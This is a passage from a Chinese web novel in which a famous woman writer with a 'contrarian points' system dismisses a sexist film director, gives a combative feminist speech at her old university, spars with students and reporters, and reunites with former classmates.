吕会琴放下电话,松了口气。其实这个电话应该是校长来打。但他不知出于什么原因,非要让她打。好在宋知南爽快答应了。 宋知南要来母校演讲的消息传开后,河西大学校园里一片欢腾。 张小凤听说后,火速通知同在一个城市的王琳于蓝谢欣然赵清波:“老四要杀回来了,姐妹们,准备迎接吧。” 王琳和于蓝立即响应:“必须的,大家都准备好。” 四个人先碰头商量一下,同时又忍不住叹息道:“可惜招云和秋月姐离得太远,估计没办法来。” 但不管她们能不能来,还是得通知一下她们。 令人意外地是,魏秋月和马招云都回复说能来。原来,魏秋月和马招云单位的领导在得知两人是宋知南的同学后,主动给她们放了三天假。她俩都是有任务在身的,就是要带回宋知南的亲笔签名书。 当宋知南提到301寝室姐妹们的反馈时,也很意外,毕业不到一年竟然又可以重聚了。 于蓝回电道:“老四,我们翘首以盼,期待你把母校杀得人仰马翻。” 宋知南笑了一下,文化人能打打杀杀呢,她顶多把学校领导骂得坐立不安。 宋知南还没骂上学校领导,已经先骂上导演了。 有一个胡姓导演直接来杂志社找宋知南,要跟她商量电影改编的事。 宋知南的要求很简单,改编可以,但不能改变小说的整体框架和主题思想,比如女主角的性格不能变,里面的大事件不能变,不能凭空增加男主角。 胡导不同意,而且他的性格还很强势,试图强力说服宋知南:“宋老师,你不懂电影,你听我说。 文学作品可以小众可以先锋。但电影必须要考虑观众的接受能力,必须得符合主流价值观。所以,女主角的性格必须得有所改动。 她不能怼天怼地,她不能不结婚不生孩子,更不能不结婚不生孩子还过得那么幸福快乐。如果她这样是幸福快乐的,那让结了婚生了孩子的人怎么想?这是对他们的价值观的一种否定。你放心,我会在里面增加一个很有魅力的男主角,这个男主角会让女主角主动改变、软化,最后被感化走上正途。” 宋知南站起来冷冷地说道:“怪不得你叫胡导,原来是胡乱导演。我感觉你根本不懂电影,也不懂我的作品。” 杠精值500。 宋知南转头对钱梦秋和李群英说:“给我换一个女导演。像他这种的就算了。” 第147章 胡导在业内也算是小有名气, 今天却被一个圈外人指着鼻子说他不懂电影,他非常生气。 他阴沉着脸说道:“宋老师, 错过我这样的导演,你一定会后悔的。” 宋知南面带微笑:“我确定我不会后悔,我建议胡导以后多看点书,尤其是多看点女作家的书。我感觉你文化程度不高,而且有一种与生俱来的男性局限。你要是不改,你的艺术成就不会高的。你以后会成为胡乱导演的代名词。” 杠精值500。 胡导气哼哼地离开了。他不知道的是,胡乱导演胡导以后真的成为他甩都甩不掉的标签。 吴总编遗憾地说:“把小说改编成电影是可遇不可求的好事啊,错过了以后会不会就没有这个机会了?” 钱梦秋则说:“你今天得罪了胡导,他不会用自己的人脉阻拦别人改编你的小说吧?” 宋知南自信地说:“以后有的是改编机会,那个胡导他没那么大能量。” 龙国影视业才刚刚起步,这才哪儿到哪儿。一个能小小的破导演还能控制整个影视圈?给他脸了。 再说了, 她现在不缺钱不缺名气, 卖不卖电影版权都无所谓。大年三十的兔子, 有它没它一样过年。 几天后,宋冬宝提着大包小包的行李进京了。 “你怎么带了那么多东西来?” 宋知南数了数, 地上有六个大包袱, 他身上还挂着三个小包袱。 宋冬宝得意地说道:“我也不想带这么多,可是邻居们太热情了,那家给点,这家送点,攒吧攒吧就这么多了。” 宋知南给宋冬宝倒了杯热茶,让他先歇一会儿。 宋冬宝抱着茶杯暖着手,向宋知南汇报家乡的情况:“姐, 我去办理辞职手续,领导可高兴了。工友们很羡慕我能来首都, 羡慕我有一个大作家姐姐。” 宋知南问:“家里房子的事你问过二姐了吧?她说怎么处理?” “问了,二姐说让魏芬姐帮着租出去。二姐也羡慕我可以跟你团聚,她一个留在东平好孤单。” “魏姐她们都还好吧?” “还好还好,小婵小娟的学习成绩可好了,她俩经常说要向你学习,考大学当大作家。魏姐想要你的签名书。可惜我上次回去忘了带些书回去了。” “这个好办,你先歇几天,到时候,给他们寄书和东西回去。” “行行。” 第二天,宋知南请李群英全家和宋冬宝去老莫餐厅吃西餐。 黄桂枝心疼地说:“还是别去那地方,太贵了。” 上次是自己闺女请客,她也不好说太贵。这次实在是忍不住了,这么一大群人去吃饭,能吃掉普通人一个月的工资,关键是她也没觉得好吃到哪里去,那什么红菜汤还没有自己家做的酸辣汤好喝,面包还不如大馒头实惠。 宋知南笑着说:“一年才吃两回,没事的,走吧阿姨。” 这一顿西餐把宋冬宝吃迷糊了。首都就是好,这么高档体面的餐厅老家哪有啊,吃一顿够吹上一年半载的。 宋冬宝现在觉得自己也是个体面人儿,住着独立的四合院,干着体面的工作——大作家的高级助理兼管家。 他手下有六个员工:四只狗一只猫加小要文。 每次遛弯,他身后都跟着一长串员工。 宋冬宝每天的工作内容是买菜做饭、打扫卫生、喂猫喂狗、打理院子,收发信件,有时也要接待访客。 宋知南准备也在家里装一部电话,虽然贵,但她目前确实需要。总麻烦李群英也不好。 宋冬宝帮宋知南分担了大部分琐事和家务,她可以将大部分的精力用在写作上。 宋冬宝以前受过宋知南的特殊培训,再加上几年独自生活的训练,干起家务活来得心应手。 宋知南每月给他开30块钱的工资,家里开销她全部报销。她还打算等两年局势再宽松些,她可以用杠精值从系统商城买些商品倒卖,这个任务也准备交给宋冬宝。这几年积攒了几十万的杠精值,一直没机会用上,以后就可以大展手脚了。 宋知南特意给宋冬宝买了两身新衣裳,说道:“冬宝,幸亏你来帮我了,要不然我可怎么办啊。” 听到身为大作家的姐姐都这么依赖自己,宋冬宝心里美滋滋的,拍着胸脯保证:“姐你就专心写作吧,以后家里的事都放心交给我。” 宋冬宝对现在的生活非常满意,两个人也没有多少家务活,他每天花两三个小时就能全部干完,其余的时间他就可以自由活动。 他骑上自行车四处溜达,看什么都稀奇,他还去电影院看看电影,去后海溜冰,心里愈发喜欢这儿了。 宋知南把家里的杂事都交给宋冬宝,她开始全身心地扑到写作上。 她先花了两个晚上写了一篇演讲稿,打算回母校震撼一下学校领导和学弟学妹们。 宋知南赶在放寒假前回了一趟河西大学。 她回去的那天不说夹道欢迎也差不多了,全校上下一片欢腾。 尤其是新入学的学生们最为振奋,一个个都踮起脚尖想看看宋知南究竟长什么样。 “宋师姐气质超凡脱俗、卓尔不群。” “她的气质完全符合我心目中女作家的形象。” 后面的同学没忍住问道:“你们是中文系的吧?” “是啊,谁说我们中文系培养不出作家,宋师姐不是吗?” 宋知南面带微笑冲大家招手示意,在众人的簇拥下进了办公室,她向吕老师周老师校长等人赠送了自己的签名书,并把演讲时间定在明天上午九点。她今天晚上要跟张小凤于蓝她们聚会。 宋知南一进学校旁边的向阳招待所,于蓝王琳等人尖叫着跑过来拥抱她。 “老四,没想到这么快就见到你了。我还以为得等个五六年大家才能聚齐呢。” 她们毕业时约定以后逢五逢十聚会,就是到第五年第十年第十五年大家重聚,没想到不到一年又相聚,大家是既意外又欢喜。 宋知南问道:“你们毕业后都过得怎么样?” 于蓝先回答:“我还行吧,就是对我国电影业的落后深表痛心。” 王琳笑道:“痛心也没用,大家一起努力,以后会慢慢变好的。” 张小凤说:“我也挺好的,我有助学金和奖学金,还在电影厂兼职打工,清波又给我找了一份校对的工作,生活比以前宽裕多了。我打算明年夏天把我奶奶接过来看病。” 宋知南掏出一百块钱塞给张小凤:“我集个资为奶奶治病,你奶奶就是我奶奶。” 张小凤连忙拒绝:“不用不用,我攒够了钱的。” 魏秋月说道:“我不比南姐财大气粗,我出20。南姐说的对,你奶奶也是大家的奶奶。” 于蓝王琳等人也跟着说:“我也出20。” 张小凤感动得眼泪眼眶里直打转,她想了想,说道:“谢谢,谢谢大家。但是真的用不了那么多,我奶奶得的不是什么大病。这样吧,南姐我收20,你们每人我收5块。你们要是不同意,我就谁的也不收。” 大家只得同意了。 张小凤的事一了,大家继续七嘴八舌地闲聊。 魏秋月说她在机关适应得挺好,因为她是大学生,年龄又大,为人处事很稳,很快就要升为科长。 大家哇了一声,纷纷打趣道:“魏科长好。” 宋知南帮魏秋月规划了一下:“你一年当科长,三年当处长,五年当局长,十年当厅长,十五年当部长。” 魏秋月一本正经地说道:“谢谢领导的规划,我会好好努力的。” 大家嘻嘻哈哈笑作一团。 赵清波扶扶眼镜说道:“我的目标是先当上主编,再当总编。” 马招云也有自己的目标:“我现在是助教,下个目标是讲师,然后是副教授最后是教授。” 张小凤接着说:“我的目标跟招云差不多,毕业后先当讲师,然后是副教授和教授。” 宋知南补充道:“你俩的目标有点低了,教授是肯定能当上的,再努力一下看看能不能当上校长。” “行,就听南姐的,再冲一把,当校长。” 大家各有各的目标,每个人都斗志满满。 大家一直聊到晚上九点,她们知道宋知南明天还要去学校演讲,便早早回房睡觉。 次日早饭后,大家一起陪着宋知南去河西大学。 学校大礼堂内座无虚席,还有很多同学是站着的,听说是外校的学生慕名而来,记者来了十几个。 宋知南走上主席台,跟大家寒暄两句,便开始进入正题: “各位老师同学,大家上午好。 河西大学是我的母校,我对于母校的感情十分复杂。 这里是我挥酒青春和汗水的地方,也是我战斗过的地方。我在这里进行过很多次斗争。斗争对象有老师有同学有食堂师傅和校长。” 下面学生一片哗然,新入学的学生更是震撼:原来那些传说都是真的,学姐都自己承认了。这是一位真正的猛士,向她致敬。 宋知南接着往下讲:“咱们学校有的老师挺好,学识渊博,内心善良,脑子正常,对学生负责。 有的老师就很一般,学识不渊博,内心不善良,思想意识还停留在清朝,还心胸狭窄,心眼小如针尖,听不进去任何意见。 还有的老师大男子主义思想泛滥,觉得女生文科好是因为会死记硬背;女生理科好,只是暂时的奇迹。女生少他觉得很正常,女生多了他觉得是阴阳失调、倒反天罡。 他们觉得中学男生有后劲,大学还是觉得男生有后劲,人到中年还是觉得男生有后劲。 你让他睁眼看世界,他闭眼谈传统。 你让他解放思想,他说他就喜欢这么想。 有的女老师,身体是女人,但精神是男人,主打一个精神分裂。我希望这些人能深刻地意识到自己的问题。 以上老师,我就不一一点名了,欢迎你们对号入座,自行检查自己思想上的问题。” 空气突然凝固下来,有些老师如坐针毡、坐立不安,校领导们面色难堪。 同学们则是心照不宣,他们知道宋学姐说的是谁。 宋知南继续说道:“我爱我师,更爱真理。为什么我说得这么狠?因为我爱母校爱得深沉。 在此,我想告诉各位老师以及学校领导: 你们所在的地方是大学,是全国最高学府,关系着祖国的未来。你们的一举一动一言一行,影响着千千万万的学生,你们在书写祖国的历史,也在书写自己的历史。你们不能在历史上留下污点。 我心目中的大学是开放的包容的,是独立的自由的;而不是封闭的,落后的,腐朽的。 你们别管学校外面的老头老太们怎么想,你们要记住,你们跟他们不一样; 你们也别管你村里你家里是什么情况,学校不是你家,不能你想咋耍就咋耍。 我希望这些老师们能改正自己的思想,能成为与时俱进的名师大师; 我希望学校能时常改进,时常自省,有朝一日能成为世界级名校。” 如雷般的掌声和笑声响了起来,鼓掌的大多是学生,也有一部分老师。也有些老师脸色阴沉,嘴角下垂,他们一不小心就对号入座了,宋知南说的就是他们。 宋知南静等掌声平息,继续说道:“说完老师,我再说说同学们。 我们大多数同学是非常好的,努力上进,认真学习。 我很欣慰地看到女同学越来越多了,油腻的男同学比前几届少多了,我还看到了很多清秀可人的学弟。” 礼堂中爆发出一阵大笑。 “男同学们,我希望你们不要像我们那一届男生,他们思想跟不上时代,明明长在新龙国,脑子却像是没开光。女生成绩好他们质疑;女生有个性,他们觉得不舒服;女生有才气,他们不服气。我希望你们能与时俱进,当一个有素质有文化有思想有原则的好男人。 ……女同学们要上进努力,你们的背后空无一人,没人为你们托底。你们要有理想,要有目标。一切以自己为出发点,你们好了,一切才会好。你们要为祖国为社会多作贡献,不要浪费你们四年所学,不要成为你们丈夫的燃料和辅助。你们读这么多书不是为了做他人的辅助和帮手的。 我希望你们记住,只有进澡堂和厕所时才需要记起自己是女生,其他时间忘了自己的性别,别给自己设限制,别人设限制不要听。 栋梁不分公母,都是顶梁柱;人才不分男女,都能顶门户。 人生非常艰难,它才不管你是女是男,将来一样让你为难。 生活不会因为你是女的就放你一马。 恰恰相反,生活中很多不公,正是因为你们不是公的才发生。” 台下又是一片哗然,男生质问,女生议论,领导皱眉,记者记录。 宋知南不管不顾,继续往下讲:“女同学们要把评价权从别人手里收回来,不要在乎别人的评价,不要温和地走进别人精心编织的牢笼,不要用别人的叙事方式来讲述自己的故事。 这个社会一切看成绩说话,那些所谓的风俗是可以为你修改的。 比如,在我们省某些地方女人不能上桌,可我们去了,就是坐上宾。 有些酒会女人必须得陪酒,但只要我在桌上,男人就得陪我喝醋,还得为我跳舞。 你们要尽可能地变强向上,美貌是次要的,贤惠是不必要的,钱和权是必须要的,事业是一定要有的。 他们说女人最大的成就是有一个好家庭,那是他们在骗咱们。 我们女人是一盘菜,咱们不上桌,他们吃什么?我们是燃料,我们不上当,他们烧什么?人们称赞蜜蜂是为了吃蜜,人们称赞女人是为了吃女人。 吃苦不一定能成为人上上,但吃人就能成为幸福的人,至少在家里可以成为人上人。 我们女人是第一个被吃的。你们惊不惊喜,意不意外? 我们的女士优先体现在哪儿呢?我们女婴是优先流掉的,我们女孩是优先辍学的,我们女人是优先牺牲的,我们女大学生是优先被狙击的,我们女作家是优先被骂的。 男作家写性写黄是艺术,我多说两句,有人就难受。有人如坐针毡,有人彻夜难眠。 有人骂我尖锐,有人说我刻薄。我们已经沉默了太久,我就是要说出口。 他们骂了女人几千年,今天该轮到我骂了。大家记得我,我宋知南,只骂落后男,我只骂腐朽的同类。 时代大潮,浩浩汤汤,挡它者亡,顺它者昌。 历史的车轮滚滚向前,螳臂当车将被碾稀烂。 我宋知南,一直永立时代潮头勇猛向前。 我铁肩担道义,辣手著文章。 我不是女作家的代表,我只代表我个人; 我不是异类也不是唯一,我仅仅只是个开始。 尘封千年的大门缓缓开起,新时代的风吹进你们的眼里。 我要让某些人心头堵得慌,气得热泪盈眶,震撼得虎躯直晃。 如果有一天,你们不再随便辱骂女性,不再打压女性,不再将她们视为谁的附庸。 这不是因为你们变正常了变善良了,而是因为许许多多像我这样的人曾经来过。 你们可能还没听够,但我说完了。谢谢大家。” 第148章 宋知南的演讲一结束, 全场爆发出一阵暴风雨般的掌声。 女生们站起来大声欢呼,胡老师吕老师陈老师等人也是面带微笑, 热烈鼓掌。 宋知南以前的班主任周好古也是面带微笑,用力鼓掌。同时,他还不忘瞥了一眼那几个被影射被内涵到的老师,不出所料,他们都面带难堪,笑容僵硬。 学校领导面色不虞,他们对此早有预判,但还是没想到,宋知南竟然这么敢说。 一般来说,大学生甭管学生时期多么狂傲不羁,走上社会后都会慢慢变得圆滑沉稳, 最终变成他们曾经看不上的大人。 大部分人成为名人之后, 说话会更加谨慎。这个宋知南倒好, 一直保持着本色,不对, 是说话更尖锐犀利了, 打击范围更广了。 他们也想过提前看看宋知南的演讲稿,但被拒绝了,宋知南说她只打了腹稿,没有草稿,她今天确实也是脱稿演讲。 演讲结束,接下来是互动提问环节。 一个男生代表举手提问:“宋老师,我觉得你的话非常偏激。” 宋知南淡然答道:“你有没有想过, 在一个偏头的眼里,看什么都是偏的。你现在看我就是这样。” 男生:“……” 他顿了一下, 接着说:“可是,我觉得你对我们男生不公平。” “这你觉得不公平了?我说几句你们就受不了,那你们平常说过多少女生不爱听的,你们想过她们爱不爱听吗?哦对,你们从来没想过,因为你不在乎。” 这个世道对男人太“公平”了,公平得让人想骂人。 当你评价一个男人不好时,大家都会认为是他这个人不好。但轮到女生时,个人就能代表全体。 一个女作者不擅长写军事战争场面,他们就会评价说,女作家都不擅长写这种宏大场面。 男司机开得不好,是他本人技术不行;一到女司机,就是女人不擅长开车。明明出交通事故的男司机远远多于女司机。 宋知南还没有彻底使用男人对付女人那套,那些人已经开始破大防了。 男的愤怒大喊:“你对我们不公平。” 有些女的也开始说:“我身边有些男人不是你说的那样,我爸我爷我姑父都是好男人。” 宋知南只想说,我也没说你爸你爷不是好男人呀,关键是我又不认识他们,我骂的也不是他们呀。我骂的是我爸我爷我姑父我这样的男人啊。 为什么你就听不得一句他们的不是呢?为什么女人被骂时,没有男人像你这样替女人分辩呢? 宋知南迅速把思绪拉回现实,继续跟同学们互动。 有一个学生干部模样的男同学举手提问:“宋学姐,我的话可能有些尖锐,希望你不要介意。在你来之前,我们大家非常期待你的到来。但是现在,说实话,我有点失望。河西大学是我的母校,我觉得所有的老师都非常好,学校领导也非常好,我觉得你不应该在公开场合这么说他们,尤其是,你还是著名作家,你是公众人物,你不应该这任性。” 宋知南问道:“小伙子,听你这说话语气,你应该是学生会的吧?” 男生点头:“嗯,我是的。” 宋知南宽容地笑笑:“原来是学生会的,怪不得。你还不是官,但言谈举止已经有了官僚习气,已经学会了政客那种四平八稳、滴水不漏的说话风格。我不知道是该恭喜你将来前途无量,还是提前为我国的政治生态担忧。” 男生:“……” 场内观众发出一阵笑声。 宋知南语重心长地说道:“这位学弟,你还年轻,多失望几次就习惯了。我们女人对你们男人都很失望,也没见你们怎样,你们还骂我们不知足,你说是不是?” 现场再次爆发出一阵大笑声,男生在笑声中神态窘迫地坐下了。 有些男生还想接着提问,后面的女生急得站到凳子上举手。 宋知南特意点了那个女生,“该轮到这位女同学了。” 女生激动得语带颤音:“南姐,不好意思,我听有的同学这么称呼您,我也这么叫您可以吗?” 宋知南点头微笑:“当然可以,我喜欢这个称呼。你继续。” “南姐是这样的,我从小到大,我无论做什么,我身边的人,包括我的父母亲戚都喜欢给我泼冷水,比如我说我要竞选学生会主席,他们说我肯定不行;我想当律师,他们又说律师这行业不适合女生。我看了你的书听了你的演讲,你一直在鼓励我们,告诉我们女生比不任何人差,请问你小时候也受到过这种打击吗?你当时又是怎么克服的呢?” 宋知南用欣赏的目光看着这个女生,问道:“这位同学,你叫什么名字?” “啊?我叫谈清梧。” “谈清梧同学,你的名字很独特。我跟你一样,在成长的过程中一直有人打压我,一直说我不行。但我一个都没听,为什么不听?因为说这话的人都过得一塌糊涂,他们连自己的人生都过不好,凭什么可以指导我的人生。 所以,你以后不要问别人自己行不行。因为这世界上很多人都很平庸,还缺乏想像力,他们想像不出你的一生会有多精彩,有时候连你自己也想像不到。一生其实很短,你一定要大胆,一直往前走,朝着自己想要的方向走,穿过逆境和黑暗,最终抵达繁星。” 现场再次掌声如雷,谈清梧激动地说:“谢谢南姐,我会永远记住你的鼓励。” 同学们还没提问够,记者们便迫不及待地涌上来了。 “宋老师,您获得茅盾文学奖后,有什么感想?” 宋知南:“我觉得茅奖的评委们非常有眼光,这次获奖的作品是实至名归。” 众记者:“……” 有个男记者接着问道:“宋老师,您对谦虚使人进步这句话怎么看?” 宋知南:“对你们这种人来说确实如此,因为你们最缺的就是谦虚,毕竟你们尿得高都会被夸奖;但我们女人来说,骄傲使我们进步,因为我们缺的就是骄傲和自信。” 有人震撼,有人质疑,也有人觉得她说得有道理。 接着又有人问道:“咱们河西省的批评家叶致秋说您身为一个作家,从来听不进去批评家的意见,您觉得是这样吗?” 宋知南微笑着反问道:“他们为什么会成为批评家?还不是写不出小说?他们都没有写过小说,又怎么能提出中肯的意见?请问太监有资格指点皇帝的后宫生活吗?” 喧闹无比的现场安静了一瞬,随即又恢复了喧闹。 “宋老师,有人说您的文笔有点幼稚,不够严肃深沉,做为通俗小说挺好,但做为严肃文学还不够格,您怎么看?” 宋知南:“我的文像一面镜子,它会照出你是谁。幼稚的人看到了幼稚,深沉的人看到了深沉,压迫者从中看到反抗,既得利益者会感到恐慌。我明白他们的恐慌、不适。但我不在乎,我就是要写,一直写,写到他们习惯为止。” 记者们的提问越来越尖锐,“宋老师,还有个读者说他看到你的小说会愤怒生气,他老婆看了你的小说要跟他离婚,他女儿看了天天跟他犟嘴,他质问,你写这种文章的意义何在?” 宋知南不恼不怒:“他老婆和女儿看到了压迫,从而奋起反抗,这就是我写作最大的意义。 他问我写这种文章的意义何在?我问过他这种人活着的意义何在了吗?他这种暴力无能、乏味无聊的人都能活着,为什么我这么好的小说不能发表?” 宋知南的回答再次引起一片哗然。 记者们一个接一个的问题抛过来。 “可是反抗就一定是好的吗?它会破坏家庭和谐社会稳定。” 宋知南反问道:“请问,奴隶反抗奴隶主是好的吗?农民反抗地主阶级是好的吗?” “这、这不一样。” “请你先回答我的问题,这两者是好的吗?” “嗯,这是历史的进步。” “那它们有没有破坏社会稳定呢?要按你所说,为了社会稳定,那他们就不应该反抗呀。如果他们不反抗,现在咱们还在奴隶主的鞭子下干活,你还能拿着话筒在这里大放厥词吗?” 记者们被宋知南反问得节节败退。 有人不甘心,又开始进攻:“宋老师,有人你说特别会哗众取宠,您对此怎么看?” 宋知南:“以我的名气,我还需要哗众取宠吗?真正哗众取宠的人是你们,是那些评论家,没有我,别人知道你们是谁吗?知道他们是谁吗?” “宋女士,我觉得你的作品总是带着女性视角,你为什么不尝试一下从男性视角写作?” 宋知南被逗笑了:“这位男记者同志,那你可不可以不要只当男记者,也当一下女记者?”① 周围爆发出一阵哄笑声。 男记者也尴尬地跟着一起笑。 宋知南这一路杠下来,不用说,杠精值又涨了上万。不过,她现在都懒得查收了。别人钓鱼,在乎的是鱼。她在乎的是钓的过程。她现在抬杠,享受的是抬杠的过程,杠精值都不在乎了。境界陡然提升一大截。 一番唇枪舌剑之后,杠精记者偃旗息鼓,正常记者开始上线。 “宋老师您好,我是《河西日报》的实习记者,我们可以全文转载你的演讲吗?” “我是《河西晚报》的记者,我们也希望能全文转载。” 宋知南一律回答可以转载。 宋知南穿过层层人群,终于到了办公室。 胡湘南老师赶紧给她倒了一杯水,让她润润喉咙。 吕会琴告诉她校领导的研究决定:“西大准备聘请你当学校的名誉教授。” 宋知南问道:“名誉教授和客座教授有什么不一样吗?” 吕会琴认真答疑:“客座教授,有聘书,要签订合同,一般是三年或是五年。对学校有讲课开讲座的义务。 名誉教授只是一种名义上的教授,一般是终身的,对学校没有义务,你想开讲座就开,这种荣誉通常只授予在国内外有影响力的专家学者,名誉教授也可以对学校提建议。” 宋知南点头道:“那我就接受吧。” 提建议什么的她可太喜欢了,至于开讲座,她有时间就回来开一次,鼓动鼓动学妹们,顺便骂骂学校和老师。她为什么骂得这么勤?因为她爱母校爱得深沉。能被她骂,是学校的荣幸。将来西大能成为世界名校,她绝对功不可没。 吕会琴见宋知南答应了,欣慰地笑了。她早说过,宋知南这样的人才就应该留校,她虽然去年没能留校,但现在这样也挺好。她以后不但是西大的名誉教授,还是别的学校的客座教授,影响力更广。 做为班主任的周老师也挺关心宋知南的工作和生活。 “小宋,你在首都那边怎么样?在单位适应吗?” 宋知南笑着答道:“我挺适应首都那边的风气的。那里庙大妖风也大,但没关系,我是里面最大的妖,我一参加作家聚会就震撼全场,那些男作家们载歌载舞欢迎我。我们单位的领导同事都挺好的,都特别适应我。” 周老师虽然已经被震撼得麻木了,但心里还是惊诧了一下。 谁说强龙不压地头蛇,那是因为龙还不够强。他们西大的这条龙不就把首都的蛇都给压住了? 宋知南跟各位老师道完别,重新回到招待所。 魏秋月马招云她们已经回来了。 几个人脸蛋红扑扑的,她们一见到宋知南,就说道:“老四,虽然大学四年听了你无数次演讲和辩论,但这次还是非常激动振奋。你讲得太好了。振聋发聩,让人夜不能寐。” 宋知南谦虚地笑笑。 于蓝征求宋知南的意见:“老四,咱们班有几个男同学也分配在了本市,他们知道你回来了,就想邀请咱们大家去聚一聚,你看是答应还是不答应?” 宋知南想了一下,说道:“那就聚一聚吧,咱们好好检查检查,他们的思想有没有进步。” “哈哈哈。” 他们的聚会地点选在了西岭饭店,来的人有苏星、孟金秋等人,苏星被分配在西齐工商局,孟金秋分配《西山》杂志社。 宋知南她们一进来,男同学们全体起身欢迎。 “宋大作家,没想到你能赏光前来。” 宋知南:“……” 这帮男同学入世挺快呀,一个个都是社会人了。 不过才一年而已,这帮男同学跟在学校时已经大不一样。 也许工作让他们成熟了,也许是毕业让他们的同窗之情升华了。 大家吃吃喝喝,说说笑笑,互相交流一些行业新闻,气氛十分融洽和谐。 宋知南对大家和颜悦色,和气得男同学都有些不适应。 一直到聚会结束,苏星终于按捺不住,借着三分酒意对宋知南说:“宋大作家,宋同学,今天我们非常激动也非常高兴。可我不知怎么回事,总觉得今天的聚会缺少点什么。” 宋知南一语道破真相:“是不是我今天没骂你们,你们觉得浑身不舒服?” 苏星:“大概也许是的。” “今天的结束语就由我来说吧。 女同学们,山登绝顶我为峰,海到无边天作岸,咱们顶峰相见。 男同学们,你们要谦虚要安静要文明,你们在山脚下仰视我们吧。” 女同学欢呼鼓掌,男同学也面带苦笑鼓掌。熟悉的味道熟悉的内容又回来了。 在回招待所的路上,宋知南得出一个结论:“其实这些男人都喜欢被骂被虐,他们刚开始嘴里说不想要,但你骂久了虐久了,他们就喜欢上了。” 张小凤夸张地回应道:“南姐,你这个发现将会震惊整个学术界和伦理界。” 其他姐妹们异口同声:“那肯定是的。” 第149章 宋知南的第二站是隔壁的河西师大。 那一天, 照旧是人山人海、红旗招展。校内师生全部到场不说,河西大学的学生也偷偷来了。 他们要听听自己学姐是怎么骂师大的。只是这一次, 他们有点失望。宋知南这次的演讲也照样引起了轰动,但骂得不够狠,力度远远不够。 师大的校长和老师听完后,都长长地松了一口气,还好没被骂。西大的老师为什么被骂?那是因为他们该骂,他们师大的老师都挺好的。 在提问环节,一个西大学生也不装了,直接问道:“宋师姐,为什么你只骂西大不骂师大?” 宋知南:“因为我不了解师大呀,我总不能胡乱开骂吧。” 众人无言以对,强盗是盗亦有道, 宋知南是骂亦有道。 河西师大的校领导经研究决定, 授予宋知南为师大名誉教授的职称。他们就喜欢这种才华横溢、爱憎分明又讲道理的文化人。 同行都是冤家, 隔壁被骂得越狠,他们就越高兴。 西大的学校领导听说同行在蛐蛐他们, 险些气成内伤。 周老师听说后, 赶紧出来安抚大家:“师大没被骂有什么值得高兴的?说明他们不值得被骂。宋知南是哪个学校毕业的?是我们西大。大家提起她,必会提起我们西大中文系,我们中文系现在是全国知名的王牌专业,可以和北大复旦中文系一决高下。我们省内第一大学的位置无可撼动,隔壁学校再蹦跶也没用。” 魏校长等人点头:“老周,还是你看得明白,你说得对。” 周好古默默擦了把汗, 他现在终于明白,为什么孙悟空的师父菩提老祖要说:“以后在外闯祸时不要提起为师的名字。” 要是提了, 当老师的不得出来收拾烂摊子? …… 魏秋月和马招云只有三天假,两天后两人带着一皮箱宋知南的亲笔签名书依依不舍地离开了招待所。大家不说执手相看泪眼,但气氛也差不多了,一个个心中充满惆怅:“下次再聚,希望你们的领导还这么开明。” 姐妹们一齐叮咛宋知南:“南姐,你要加油,你越有名气,我们越有面子,越好请假。” 宋知南也嘱咐大家:“大家要加油啊,老大,你要快点升职,哪天我杠上了官二代摊上大事,托关系好找你。” 魏秋月笑着说:“好好。” 宋知南又在河西逗留了五天,在河西师大、河西理工等学校各办了一场讲座,又跟当地的文友见了个面,才兴尽而归。 她一回到首都的家中,宋冬宝就赶紧拿着记事本上前汇报:“姐,安装电话的手续我已经跑完了,他们说会尽快安装。另外,你不在的这几天,有三拨人来访,一个是什么红都电影制片厂的导演,是个女的;一个是《杂文周刊》的编辑老周;还有一个咱们前院的邻居,问你还买房不?” 宋知南一点喝茶一边听着,时不时地点头回应。 “对了,二姐来信了。” 宋知南随手接过信打开看看,宋知夏的信写得有点哀怨,问她为什么想着让宋冬宝当她的高级助理,怎么就没想到她这个姐姐呢?明明她比冬宝更适合呀。 宋知南摇头叹气,这个二姐是不明白她的良苦用心啊。 高级处理听上去好听,实际上就是处理杂事的助理和保姆,上升空间太小,宋冬宝这种的挺适合。 但宋知夏可是七七级大学生,而且她还有野心,她以后是要干大事的,怎么能让她陷入这种无穷无尽的琐碎当中呢。 宋知南看完信随手给宋知夏回了一封,在信中把自己的意思说明白。让她不要忘了自己的野心,随时做好准备干大事。 宋知南家的电话装得比李群英家快多了,安装费也降到了2200。黄阿姨悔得捶胸顿足,早知道就晚一年再装了。 李群英倒是看得挺开:“早装早方便,咱还早用了一年呢。” 电话号码宋知南只告诉了几个关系特别近的人,杂志社的吴云河钱梦秋老周等人,文友中的格羽和罗静林也告诉了。 罗静林说,格羽最近恋爱了,对方也是个诗人,两个感情浓烈的人谈起恋爱来更浓烈,整天如胶似漆形影不离,她们的三人行小组大概要变成两人行。 李群英这位催稿高手,一听说格羽恋爱了,第一反应,是让她多写点情诗。格羽说她现在沉浸在爱情中,什么也写不出来。 宋知南家接到的第一个电话是老周打来的。 两人寒暄几句,老周就图穷匕见,“宋老师,您还记不记得,您还欠我一篇稿子?” 宋知南疑惑道:“欠稿子?我不是早还完了吗?” 老周笃定地说:“你上次欠的还完了,但你又欠了新的呀。你去河西之前,我去送你顺便约的稿。我说你这次回河西,肯定有很多感悟,肯定会有感而发,这种小灵感小感悟,写成小说材料不够,最适合写杂文了。” 宋知南:“……” 这帮编辑催稿又花新花样了? 她只好说道:“我刚回来,还没什么灵感,你让我酝酿酝酿。” “您肯定会酝酿出来的,业内谁都知道宋老师是个爽快人,从来不拖稿。后天下午,我上门去取。” 挂完老周的电话,宋知南出门去陪猫狗玩耍,要文也来看小狗,一见到宋知南就喊道:“南姨,妈妈又要文。” 宋知南悔不当初,“干这们这行的,就不应该跟编辑太熟。” 宋知南跟要文商量:“可爱的要文,我给你改个小名好不好?你叫不催好不好?” 要文摇头:“不好,就叫要文。” 宋知南坐在院子里,晒着太阳,看着猫猫狗狗开始复盘她的河西之行。 该骂的都骂过了,还有谁没骂呢? 她突然想起了那晚同学聚会散场后,她说的那句玩笑话。 当时她说男人都喜欢被虐,虽然她当时是开玩笑,但仔细一想,让人直拍大腿。她的话都不能细想,越想越有道理。 先从心理上来说,很多男人是一种等级意识很强的动物,他们畏威不畏德,敬恶不敬善。他们从小就崇拜暴力,鄙视善良和柔软。妇人之仁这个词就是他们发明的。 你打他,代表你的地位等级比他高,能力比他强,所以他敬畏你,服你,他越服你就越爱你。 相反,你试图用善良、爱意和无私奉献去感化他,他很享受,但心里却暗暗鄙视你。 你爱他,他不一定记得你。但你揍他打他辱他,他一定会记得。这就叫做恨比爱长。 